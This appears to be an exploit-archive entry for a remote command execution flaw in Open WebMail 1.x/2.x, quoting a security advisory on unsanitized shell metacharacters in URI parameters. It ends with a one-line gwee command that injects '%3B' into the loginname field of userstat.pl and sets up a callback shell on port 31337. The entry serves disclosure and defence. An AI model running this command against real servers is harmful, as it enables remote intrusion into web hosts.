Open WebMail 1.x/2.x - Remote Command Execution Variant

Author: Nullbyte
type: remote
platform: linux
port: 
date_added: 2004-05-10 
date_updated: 2013-01-14 
verified: 1 
codes: OSVDB-4201 
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screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/10316/info

A vulnerability has been reported in Open WebMail that allows a remote attacker to execute arbitrary commands on a vulnerable host. The problem is due to insufficient sanitization of shell metacharacters that are passed to the vulnerable software through URI parameters.

Exploitation of the vulnerability could allow a non-privileged user to remotely execute arbitrary commands in the context of the web server that is hosting the vulnerable application.

$ gwee -L -y'loginname=%3B' -llocalhost -p31337 http://www.example.com/cgi-bin/openwebmail/userstat.pl